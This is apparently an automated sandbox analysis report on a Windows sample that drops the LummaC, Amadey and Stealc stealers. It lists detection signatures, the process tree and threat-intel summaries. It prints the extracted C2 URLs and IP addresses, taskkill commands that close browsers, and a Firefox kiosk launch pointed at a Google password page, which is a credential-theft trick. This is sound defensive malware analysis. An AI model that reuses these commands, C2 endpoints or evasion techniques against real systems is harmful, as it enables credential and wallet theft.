Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1546520
MD5:	78d26695bb248b0c04f8fe3fb9192cbf
SHA1:	96745bf2baf11c14cbaf60833fdbc3da41fc3988
SHA256:	5ef46b5d1fae9aece8c77b16d96c2d4005e7c5d95e0bc84c839e27342177847d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

PE file has a writeable .text section

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (STR)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 2976 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 78D26695BB248B0C04F8FE3FB9192CBF)

QQVU8579GXGT7ENXLIPV.exe (PID: 6452 cmdline: "C:\Users\user\AppData\Local\Temp\QQVU8579GXGT7ENXLIPV.exe" MD5: CB42CA53DE833C0AE771AA0BB9889E9C)

1X626IF7XY5V3PR2WUE6.exe (PID: 5268 cmdline: "C:\Users\user\AppData\Local\Temp\1X626IF7XY5V3PR2WUE6.exe" MD5: 4264ECCF5968410DB0AFCF14351FC8E0)

skotes.exe (PID: 4876 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 4264ECCF5968410DB0AFCF14351FC8E0)

skotes.exe (PID: 6248 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 4264ECCF5968410DB0AFCF14351FC8E0)

9f543353fa.exe (PID: 5884 cmdline: "C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe" MD5: 78D26695BB248B0C04F8FE3FB9192CBF)

HGRF5Z7TYW7E33AW.exe (PID: 4000 cmdline: "C:\Users\user\AppData\Local\Temp\HGRF5Z7TYW7E33AW.exe" MD5: E14E917D069C47751949F8B66801BD18)

DPC5AH8Z21J6G318GX0VJU1F4VSM.exe (PID: 5900 cmdline: "C:\Users\user\AppData\Local\Temp\DPC5AH8Z21J6G318GX0VJU1F4VSM.exe" MD5: 4264ECCF5968410DB0AFCF14351FC8E0)

26972fc2ff.exe (PID: 6696 cmdline: "C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe" MD5: 943EF4CEEE0552B2A23E7F50163C16A0)

c56bb4c016.exe (PID: 1372 cmdline: "C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe" MD5: 79EB53EA7134A87F6EB761C84676660C)

taskkill.exe (PID: 4052 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2216 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6920 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3704 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6720 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1444 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

num.exe (PID: 728 cmdline: "C:\Users\user\AppData\Local\Temp\1003076001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

9f543353fa.exe (PID: 5916 cmdline: "C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe" MD5: 78D26695BB248B0C04F8FE3FB9192CBF)

76O2EO62U6RFDJ26N.exe (PID: 4876 cmdline: "C:\Users\user\AppData\Local\Temp\76O2EO62U6RFDJ26N.exe" MD5: E14E917D069C47751949F8B66801BD18)

1S0XA6IQD86G5I9WZX.exe (PID: 3172 cmdline: "C:\Users\user\AppData\Local\Temp\1S0XA6IQD86G5I9WZX.exe" MD5: 4264ECCF5968410DB0AFCF14351FC8E0)

9f543353fa.exe (PID: 4600 cmdline: "C:\Users\user\AppData\Local\Temp\1003073001\9f543353fa.exe" MD5: 78D26695BB248B0C04F8FE3FB9192CBF)

firefox.exe (PID: 5028 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5072 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6268 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28079ed5-6d95-48ad-a74d-e122c62e640d} 5072 "\\.\pipe\gecko-crash-server-pipe.5072" 12dbdf6f910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4068 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3680 -parentBuildID 20230927232528 -prefsHandle 3044 -prefMapHandle 2992 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac417107-408a-4ed8-9c4a-852515bdfed0} 5072 "\\.\pipe\gecko-crash-server-pipe.5072" 12dd0315910 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

26972fc2ff.exe (PID: 5672 cmdline: "C:\Users\user\AppData\Local\Temp\1003074001\26972fc2ff.exe" MD5: 943EF4CEEE0552B2A23E7F50163C16A0)

c56bb4c016.exe (PID: 416 cmdline: "C:\Users\user\AppData\Local\Temp\1003075001\c56bb4c016.exe" MD5: 79EB53EA7134A87F6EB761C84676660C)

taskkill.exe (PID: 5048 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4892 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2320 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3180 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2444 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1780 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

num.exe (PID: 6960 cmdline: "C:\Users\user\AppData\Local\Temp\1003076001\num.exe" MD5: F793D9E588C6BF51F1DAF523AB2DF1CE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: LummaC

{"C2 url": ["presticitpo.store", "necklacedmny.store", "navygenerayk.store", "founpiuer.store", "crisiwarny.store", "fadehairucw.store", "scriptyprefej.store", "thumbystriw.store"], "Build id": "4SD0y4--legendaryy"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1003076001\num.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\num[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000020.00000000.3089073268.0000000000B3E000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2218789350.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3114526622.0000000000B3E000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000022.00000003.3131855341.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2219380612.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3114429730.0000000000B21000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2220336413.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3188972107.0000000001197000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3243929373.00000000011A1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3245674973.00000000011A9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3087572028.0000000000716000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000000.3088950069.0000000000B21000.00000080.00000001.01000000.00000018.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2219380612.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3089109792.000000000071B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2900551720.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000003.2699831854.0000000005350000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2218110887.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2218789350.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2218561038.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2220582846.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2369161401.00000000054B0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2221060387.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3052085445.0000000000714000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3124120710.0000000001197000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3229602346.000000000118E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3026696588.0000000000714000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2218972798.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2217375295.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2217818575.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2455934041.0000000001001000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000003.3177435187.0000000001197000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2901402493.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3241595648.000000000119D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2217595506.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2217076402.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2217818575.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2220336413.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2219800976.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2934323523.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2220806281.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000003.2430975273.0000000004840000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3223716363.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2218359948.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2218561038.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3045788920.0000000000714000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000003.2913815586.00000000007C3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3027064288.0000000000715000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2978129542.000000000121E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.3070716944.0000000000715000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2218972798.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2936121608.0000000005050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2219191933.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000002.3169657410.0000000000AB1000.00000040.00000001.01000000.00000019.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2219610769.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2218110887.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2217375295.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2221325192.0000000000B41000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2219800976.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2976877638.00000000005F1000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2217076402.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3213207285.0000000001194000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.3127897267.00000000013CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000003.3210068211.0000000001194000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3206513157.0000000001191000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000003.3233279976.0000000001197000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2220806281.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2220039343.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2218359948.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2219610769.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000021.00000003.3127629977.0000000005280000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2471819219.0000000000DA1000.00000040.00000001.01000000.0000000C.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2219191933.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2220039343.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2217595506.0000000000AEC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.3088360642.000000000161F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
00000011.00000003.3203259630.000000000118E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3083970355.0000000000716000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000022.00000002.3234528142.000000000124B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2220582846.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2221060387.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2976	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 2976	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 2976	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9f543353fa.exe PID: 5884	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9f543353fa.exe PID: 5884	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9f543353fa.exe PID: 5884	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 26972fc2ff.exe PID: 6696	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 26972fc2ff.exe PID: 6696	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 9f543353fa.exe PID: 5916	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9f543353fa.exe PID: 5916	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: c56bb4c016.exe PID: 1372	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: 9f543353fa.exe PID: 4600	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9f543353fa.exe PID: 4600	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 9f543353fa.exe PID: 4600	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 90 entries

Unpacked PEs

Source	Rule	Description	Author
7.2.skotes.exe.da0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
32.2.num.exe.b20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
32.0.num.exe.b20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
6.2.1X626IF7XY5V3PR2WUE6.exe.1000000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
